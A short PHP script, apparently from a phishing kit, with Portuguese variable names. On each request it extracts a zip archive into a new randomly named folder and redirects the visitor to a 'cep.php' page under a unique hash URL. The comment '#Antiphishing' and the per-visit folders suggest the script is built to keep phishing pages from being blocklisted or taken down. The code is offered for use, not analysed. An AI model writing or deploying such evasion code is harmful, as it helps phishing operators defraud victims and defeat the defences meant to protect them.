<?php
if (isset($_GET['i'])){
    $aleatorio = rand(10000000000, 100000000000);
    $unique = sha1(md5($aleatorio));

    $b1 = 0;
    $b2 = 0;

    if ($b1 != 1 && $b2 != 1){
        #Antiphishing
        mkdir('i/post-' . $aleatorio . '/', 0700);
        $nomepasta = 'i/post-' . $aleatorio . '/';
        $zip = new ZipArchive;
        if ($zip->open('i/xyz.zip') === true) {
            $zip->extractTo($nomepasta);
            $zip->close();
        } else {
            echo 'failed';
        }
        $url = $nomepasta . 'cep.php?=' . $unique;
        echo '<meta http-equiv="refresh" content=0;url="' . $url . '">';
    };
} else {
    echo '<meta http-equiv="refresh" content="30">';
};